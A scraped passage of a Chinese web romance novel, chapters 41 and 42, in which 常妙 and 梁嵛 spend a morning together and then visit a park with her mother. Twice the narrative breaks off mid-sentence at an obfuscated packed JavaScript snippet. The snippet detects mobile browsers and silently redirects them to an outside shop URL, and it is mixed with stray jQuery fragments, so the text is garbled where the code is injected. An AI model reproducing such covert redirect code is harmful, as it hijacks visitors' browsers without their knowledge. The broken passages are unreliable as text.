常妙顿了顿，乌黑的眼珠古怪地瞥向梁嵛，配合她还没放下的双手，好像正在看一个什么神奇的物种变异。 梁嵛轻咳一声，缓缓敛下眉眼，“还看照片吗？” “你小时候的那些？”常妙现在急需新鲜事物转移面前这人的注意力，“看！在哪？” 梁嵛起身去了书房，几分钟后出来，手里拿着一小沓照片。 “就这些吗？” 梁嵛：“嗯。” 他很少拍照，也没有一般人的纪念意识，要每年固定拍那么几张存下来，所以有的都是每个学习阶段的毕业大合照，加起来就一个指头厚。 常妙最先翻出福利院时期的。 这种大合照最适合玩儿找人游戏了，常妙挨个扫过照片上的小朋友，时代久远，照片像素也不高，她看了半天，确定地指了一个，“是这个吗？” 梁嵛有些讶异，点头，“猜的很准。” 常妙得意笑，她把照片拿起来对着光仔细看，“真的像个乖宝宝呢，其他人不笑，就你笑。” 再一次被这么称呼，梁嵛依旧不适应，但常妙看起来挺开心，也就随她去了。 突然，常妙抬起头，“有个问题我有点好奇。” 梁嵛：“你说。” 常妙：“那会儿，就没有人想要领养你吗？” 梁嵛怔了下。 常妙忙补充，“你要不想说也可以不说。” 梁嵛摇摇头，给她解释：“那时候选择领养的人很少，而且领养孩子，其实某种角度跟在宠物店挑小猫小狗也差不多，要没病的，要亲人的，我那时候很普通，不合群，不说话，不表现，偶有来领养的人自然也选不到我。” 常妙蹙起眉，梁嵛见状，修长的手在她发上轻揉，但没两下，常妙就朝他靠过来抱住他，“那现在，我选你了。” 41. 第 41 章 早上八点多钟，空气里还残存着攒积了一晚的凉意，阳光穿过窗户映在平展的床铺上，投出一个斜斜的影子。 厨房的炉灶尚有余温，擦桌的湿布整齐地叠放在水池边。 客厅里，窗明几净，唯有一只被主人丢下的拖鞋格格不入地歪倒在地砖上。 今天是常妙回家的日子，她一大早就起来洗漱，本来这个点该是已经出门了的，现在却被某人压在沙发上动弹不得。 “阿嵛……” 推不开。 “呼。” “你……唔。” 常妙拳头硬了。 “梁嵛！” 果然，叫大名的威力还是不容小觑，梁嵛抬起头，胸腔起伏着，看着身下被他欺负得眼湿又生气的小姑娘。 常妙气喘吁吁，身上的衣服已经打了皱，她嘴唇红润，忍不住控诉，“你刚才说只是亲一下的！” 梁嵛的眸底还有未褪去的灼热，他眉头轻敛，心虚地替常妙擦掉眼角的湿，“抱歉。” 常妙脸颊鼓了下，想骂他点什么，又不知道从何骂起，食髓知味这个词简直在面前这人身上体现得淋漓尽致，以前明明在这方面看不到任何欲望的一人，现在不知道怎么了，有时候一个眼神对上，他就变了，还变得不知餍足！ 梁嵛也知道自己最近有点过分，可一回家，脑子里都是她。 看了眼挂表，常妙八点就准备走的，现在硬是被他拖了二十多分钟，梁嵛默默用身体下意识挡了下她视线，沉稳又正经的嗓音这些天已经不知道多少次用在了哄人上，“别生我气，要不我开车送你去阿姨家？不耽误时间。” 常妙盯着他，脸上红晕更显，“可是你这样……能出去？” 腰间被细嫩的指尖一点，梁嵛身子猛地一僵。 常妙眼底不禁露出些许笑意，趁机滑下沙发边缘，溜了。 她一只脚是光的，另一只是外出的帆布鞋，脱了帆布鞋拎着，人就这么裸着足进了主卧，再出来时，已经换了一身衣服。 梁嵛还在沙发上，看人去了玄关后，顿了顿，还是起身询问：“那你什么时候回来？” 常妙：“怎么也晚上了吧，你自己吃饭就行，不用等我。” 鞋穿好，小包背上，常妙准备推门时，若有所感地回头看了眼，梁嵛还站在玄关那看她。 这沉默目送的模样，常妙在心里犹豫了下，“或者，你想不想跟我一起去？” - 当然，一起去归一起去，那也不可能是这个点一起去。 这么早，他们俩在方沉兰那还是朋友的关系，太奇怪了。 所以常妙跟梁嵛定好，中午的时候给她打个电话，就当是碰巧，然后她再随口邀请。 计划非常顺利，甚至常妙都没来得及说，方沉兰一听是梁嵛，要过电话问候了两句，主动提出。 梁嵛自是答应，询问了时间，说下午会准时到。 午睡起来，常妙还懵懵地在喝水，方沉兰兴致盎然地挑选着要穿的裙子，今天她们要拍照，当然要穿的好看些。 一套绿的，一套粉的，比对来比对去，方沉兰最终把眼神儿放在了常妙身上。 牛仔裤马尾辫，素面朝天，方沉兰是个爱漂亮的，从小爱打扮，常妙小时候也没少被她折腾，也就是长大了，常妙自己开始拿主意，主意就是不到特殊场合坚决不化妆！ 孩子大了不由她，但她还是忍不住叨叨：“你说你，跟我出门玩，也不化个妆，女孩子漂漂亮亮的多好啊。” 常妙：“就是逛个公园而已。” “那我们还要拍照的呀。”方沉兰在化妆袋里翻翻，“给，至少把口红涂上。” 梁嵛的车已经在楼下停了一阵了，等人的时候没事干，他就摸着无名指空荡荡的位置望着单元楼的方向。 几分钟后，二楼有了动静，当梁嵛看见跟早上出门时完全换了个打扮的人，他诧异怔了下。 方沉兰乐呵呵地走在前面给梁嵛招手，没有给他再多看的机会，“小梁，不好意思，让你等久了。” 梁嵛已经下车，“没事，阿姨，没多久。” 他拉开后座车门，方沉兰正准备弯腰坐进去，注意到后边想跟她一块上的常妙，“妙妙，你去坐前头。” “哦。”常妙知道，这是她妈怕梁嵛误会俩人拿他当司机了。 坐上车，常妙长舒一口气瘫坐在副驾上，梁嵛还没发动车，看她这样子，不禁问：“怎么了，看起来这么累？” 常妙扭过头，借着视角盲区，冲他偷偷做了个委屈的表情。 方沉兰在后边故作嫌弃地训斥道：“没事，不用管她，这丫头，我说今天天气好，让她化个妆陪我拍拍照，你看她就这耍赖样儿。” 常妙心说哪啊，说好只涂个口红，涂完又觉得应该再画个眉毛，完了又要补个眼妆，最后还把她衣服也换了一套，能不累么。 梁嵛眼底有笑意闪过，他垂下眼，无意间扫过她的裙子，红色的碎花裙刚到大腿中间，坐下时，裙摆还要再往上一些，“要不要给你拿个毯子？” 车里开着空调，盖上也不会太热。 梁嵛拜托了后排的方沉兰，毯子递过去时，她不由感叹梁嵛的细心，都是女性，她年轻时候也穿过那个长度的裙子，不至于坐下就走光，他能注意到，一方面是细心，另一方面就是人品好了，知道保护女生，也知道自己身份，关系再不错，也要有分寸感。 方沉兰笑夸：“小梁，你女朋友真是好福气。” 梁嵛微怔，不解方沉兰为什么夸他，只笑了下，算作回应。 方沉兰：“对了，下次有机会，可以带过来我们一起吃顿饭，认识认识。” 梁嵛视线扫过常妙，点头，“好。” 七月，正是荷花开的好时候，常妙和方沉兰要去的公园是梧溪市的一处老公园，据说以前是某位皇子的府邸，历史已久，后来被政府改成了供市民游玩娱乐的城市公园，门票免费，可以说本地人就没有没来过这的。 梁嵛找了地方停车，三个人从正门进去，入目首先就是不远处生在道路中央的一棵巨大松树，也不知道活了多少年，仰头都看不到顶。 方沉兰走在最前面，欣赏着公园里的绿树花草，好几年没来，公园变化不少，很多新东西可看。 落后两步的位置，常妙和梁嵛并肩走着，两个人手里各拿了一个棉花糖。 常妙：“你怎么不吃啊？” 梁嵛无从下口。 “这要怎么吃？” 棉花糖是方沉兰给两人买的，那会儿通电话的时候方沉兰就用这个哄的他，没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382447|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了还真买了，而且并不厚此薄彼，常妙也得了一个。 她笑了下，给他演示地咬了一口，“就是这样啊。” 老式的棉花糖，没什么造型，就软绵绵的一大团，要想吃上一口，不免就要埋进半边脸去，梁嵛学她，果然，云雾似的糖丝扑脸，然后咬住的部分立即在他口中化开。 他没吃过这个，感受新奇，转头想去看常妙，没想到她端详着他，又眨巴着无辜的眼睛，当着面，很是正经地用手撕出一小片棉花糖，优雅地放进嘴里。 梁嵛：“……” “妙妙。”他低低叫她小名。 常妙却破功笑着连忙窜到了方沉兰身边，“妈妈！” 方沉兰不知道发生了什么，“干嘛？” “这棉花糖好甜啊，你也吃。” 常妙挽住方沉兰的胳膊，同时不忘往后偷瞧梁嵛，大概是觉得自己找了个好靠山，胆子大得很，朝他耸耸肩，完全没有戏弄人后该有的害怕。 梁嵛无奈，心里却是笑的，他佯装快走几步，常妙神色一僵，立马松开方沉兰自个窜了出去。 方沉兰都震惊了，“这丫头，怎么这么疯？” 她看向旁边的梁嵛，人家稳稳重重，连吃棉花糖都用手撕成一小块规规矩矩的，一点也不像她那疯丫头。 “小梁，前面有个亭子，咱俩在那拍个照吧。” 梁嵛：“我？” 方沉兰：“对，咱俩，阿姨把你带出来的，当然要一起拍。” 这个任务自然就交给了常妙。 亭子两侧有一排垂柳，方沉兰拉着梁嵛就站在柳树下，风一吹，柳枝往湖面方向飘，还挺写意。 常妙挑选好角度，咔咔拍了两张。 拍好后，常妙把手机给方沉兰，方沉兰左右滑动两下，满意点头，“不错不错，小梁别说，挺上镜的！如果你工作不干现在这个，去当模特也是条好出路哈哈。” 梁嵛抿唇，“我给你们也拍一张？” “好啊。” 方沉兰主动站过去，“妙妙，你也过来。” 母亲大人的命令不得不从，但鉴于有过一次梁嵛拍照的惨痛经验，她不由借着让梁嵛帮忙拿包的时候投给他一个怀疑的眼神，而梁嵛一脸淡定，女士小包往肩上一跨，端着手机等她过去摆动作。 也无所谓了，常妙心想，出来玩，图高兴嘛，好的坏的都是经历。 既如此，她在脸颊边比了个耶，笑吟吟地完成了她的第一个动作，而正当此时，梁嵛突然做出一个大弓步，两条长腿登时占据了两米的宽度，常妙嘴角笑意凝滞。 取景框里，常妙表情鲜活，一边皱眉一边微笑，梁嵛顿了下，快速按下快门，然后整体画面放大，再将两人一同框进画面里，按了两下。 照片拍好，方沉兰首先过来看。 梁嵛用后背挡着光，“有两张。” 方沉兰翻看，满意，“嗯，可以可以，好看的。” 常妙不信，过来也瞧，这一看，有些诧异，真的比上次进步好多，甚至都知道怎么拍显腿长了。 常妙向来不吝夸赞，也准备夸他，但手指不小心误触，一张新的大头照突然映入视野。 她低头一看，咬住后槽牙。 果然她就不该以这种方式在他手机里出现！！！ 42. 第 42 章 公园除了占据大部分面积的景观绿植外，往东北角走还有一片区域是游乐设施，有空中转的那种椅子，海盗船，还有碰碰车。 方沉兰买了两组套票，一组能玩三个项目，回来的时候她把票分给两人。 梁嵛拿着其中一张，有些惊讶，“我也有？” 方沉兰笑了笑，“不知道你小时候有没有玩过，好不容易来一趟，就跟妙妙一起玩玩吧。” 确实没玩过，不过…… 常妙收到方沉兰的眼色，见他不动，索性拉着他往前，“你快看看，你喜欢哪个？” 套票并非固定，只是在可选择的项目内有次数限制，常妙边走边看着票根上写的使用说明，梁嵛往后看了一眼，方沉兰跟在他们后面，温柔地对他挥了挥手。 梁嵛收回视线，目光又落在手里的套票上。 常妙：“选好了吗？” 梁嵛指了一个，“这个吧。” 是海盗船，游乐园经典项目！ 常妙拍板，“行！” 或许是正值暑假期间，公园里的人特别多，刚才转其他地方时没注意，走到这片才发现，年纪小点的孩子好像都聚集到了这。 排队的时候，常妙站在其中神态自然，但梁嵛，有生之年多少还是体会到了一回尴尬的滋味儿。 方沉兰在围栏外看着他们，常妙和梁嵛坐在后排，没有家长在，两个人大胆地牵上了手。 常妙：“一会儿怕的话可以叫出来，我不会笑你的。” 梁嵛握紧她，笑了笑，“好。” 铃响，清场。 海盗船开始摆动，随着船身从最高处往下飞荡，坐在常妙右边的小男孩发出一声惨痛爆鸣—— 三分钟后。 常妙抱歉地领着一个孩子下来。 十二三岁的孩子，已经能打酱油的年纪，今天是和好朋友相约一起出来玩的，但现在泪眼婆娑的，完全没了上船时的雄邹邹气昂昂。 常妙和梁嵛都没有带过孩子，俩孩子看见梁嵛还都战战兢兢的，只能由常妙自己哄，“别哭嘛，别哭了嘛，对不起，我是抓错了，不小心的。” 小男孩鼻子一抽一抽的，不理她，专注仰头望天。 常妙求助地看向梁嵛，自己也快哭了。 梁嵛想了想，同她一起蹲下来，“刚才过来的路上，我看有卖冰淇淋的，要不带他们去买一个？” 天热，尤其冰淇淋这种一般还都被家长严加看管的，确实诱惑力很大。 果然，话音落下，常妙余光看到俩小孩朝她偷瞟了一眼。 常妙乘胜追击，“我请你们吃冰淇淋好不好？算是赔罪，吃什么随便挑！” 另一个不哭的首先探出头，“行啊，姐姐，那我想吃巧克力的。” “你没义气！” “那你不想吃吗？” “……” 方沉兰这时也过来了，“怎么了这是？” “没事没事，妈妈，你和梁嵛在这等我会儿，我马上回来！” 常妙说着，一手一个，也不知道是小孩带着她跑还是她带着小孩跑，直朝便利店跑去。 身影越来越远，梁嵛给尚不明白情况的方沉兰解释了下，方沉兰听完，失笑说：“哎，这么大了还像个孩子似的。” 梁嵛：“像孩子，说明您照顾得很好。” 旁边有个花坛，方沉兰和梁嵛坐下，下午的阳光到了这个点，已经没有了炙热的感觉，树荫下，风吹着，方沉兰望着不远处的人群，笑着摇摇头，“是她自己乖，从小我除了提供给她了一个还不错的物质生活外也没有多费心。” 梁嵛侧耳，认真听着，可能他自己没发现，他这样的表情通常会让人很有倾诉欲，方沉兰忍不住也多说了些。 “那时候啊，我觉得我真是运气好，身边有朋友同样生小孩的，每天都在为孩子操心，升学啊，成绩啊，跟我聊起来的时候我才意识到原来还有这么多事情，但我好像没怎么经历过，她自己都处理好了。可能也是因为她太让人放心了吧，我过了好久才发现，其实她在学校过得也并不开心，是遭了欺负的。” 梁嵛抬起眸，“什么样的欺负？” “一些背后的闲言碎语吧。” “后来，我想帮帮她，去学校找老师说说这个问题，又发现，她已经自己调节和处理好了。” 方沉兰说到这，忍不住叹了口气，“不过，妙妙确实比我想象的要坚强很多。之前有一次，她舅舅腰伤了，我一个大人在家不知所措，还是她回来陪我送程南去的医院。” 梁嵛愣了愣，想起那晚的事情，“她确实很坚强，很厉害。”明明那么难过地哭了一场，第二天却立马又能恢复精神。 方沉兰：“但其实我不想她这么辛苦，你说，她这个年纪，本来应该依赖我的，家里出了这么大事，我应该给她支撑的，结果现在居然反过来了。” 梁嵛：“或许，她正是因为在这个家很幸福，所以才这么努力，您和舅舅保重身体，长长久久地陪着她，对她才是最重要的。” 方沉兰瞧他，突然笑了，“没想到小梁你还挺会安慰人。” “当然了，我肯定会顾好自己的身体的，我都想好啦，等我们这几年把钱还完，就给妙妙攒嫁妆，人生在世，有个人依靠还是好的，你说对不对？” “对。”梁嵛轻扶了下眼镜，“那阿姨，您有想过要个什么样的女婿吗？” 方沉兰还真想过这个问题，“首先肯定要能照顾妙妙，对她好的。” 梁嵛点头，“嗯，然后呢？” “然后，就要性子开朗的，阳光的。” “……开朗阳光？” “对，妙妙以前跟我提过，说就喜欢这种，我想也对，开朗的跟她性子也比较合，两个人过日子也高兴。” “……还有呢？” “还有，幽默的吧，你们年轻人不是有句话叫，有趣的灵魂万里挑一吗，我有一个好朋友，几年前移居国外了，她老公就很幽默，每次惹她生气没多久就能把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445026|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逗笑了，这样夫妻俩不会有隔夜仇，妙妙也很喜欢那个叔叔，小时候常往她家跑。” “哦。” “对了，身体好也很重要，不瞒你说，妙妙他爸就是因为身体不好早早走了，留下我一个带妙妙，妙妙是乖，但你换个别的孩子，万一有个头疼脑热的，着急起来，身边连个能分担的人都没有。” …… 常妙回来的时候，远远就望见两个人坐在花坛边好像在聊天，但近了，她才发现，梁嵛的脸色不知怎么好像有点沉重，但是因为她妈妈在说话，他不时地还要附和着点点头。 “妈妈！”她叫了声。 方沉兰听见声音，朝她挥手。 常妙手里拎了个袋子，里面装着两瓶水，“给你和梁嵛的，一会儿渴了喝。” 分给梁嵛的时候，常妙偷偷给他递了个眼神，他不知道没看懂还是怎么，也没个反应。 方沉兰拧开水喝了口，“好了，我就在这坐着吧，你们不是还有两个项目没玩吗，快去吧。” “嗯嗯！”常妙笑着应。 离得远了，常妙才戳戳梁嵛胳膊，问：“你怎么啦，不舒服，中暑了？” 梁嵛看向她，目光凝了半晌，“没有，接下来你想玩哪个？” 常妙狐疑盯住他的眼睛，梁嵛垂眼，趁着背后有人经过，轻捏了下常妙的小指，“好了，别看我了，我没事，就是刚才头有点晕，现在已经好了，你看看接下来玩哪个？” 常妙被催促着，也不好再追问了，关切的眼神在梁嵛身上扫了两圈，把人扫的腰板越挺越直，这才选了个游乐项目，玩去了。 - 从游乐区这边离开，三个人就顺着人流的方向慢慢溜着，等又回到公园大门，今天的公园半日游也宣告结束。 太阳沉的已经看不见了，只有一点余晖还维持着傍晚的光亮，梁嵛先把方沉兰送回家，轮到他和常妙的时候，天色已经完全暗下来了。 跑了一下午，两人身上都有汗意，到家以后一人占了一个卫生间先洗澡，梁嵛动作快，收拾干净后，去厨房揉了块面，常妙下午盯着一家牛肉面馆看了很久。 不过家里没有牛肉，只有一块猪肉，可以做杂酱面。 两个人的量不多，常妙从主卧出来的时候，梁嵛基本都弄好了，就看她什么时候想吃，可以直接下。 但常妙却径直往书房走了，梁嵛以为是她的画稿需要紧急修改什么，想问问她要多久，可刚走到门口，常妙就出来了。 “我是去找这个的。”常妙看见他，朝他晃了晃手里的藿香正气水，“你头还晕不晕，晕的话，一会儿吃完饭把这个喝了吧。” 梁嵛沉默盯着那管棕色的小瓶子，神色不定，好久不说话。 “怎么了，你不会是嫌苦吧？” 藿香正气水好像确实比一般的药难吃，常妙笑，表示理解，“那我给你找块糖，我记得在客厅……” 谁料，常妙刚走一步，腰间突然被一股强劲的力量带了回去。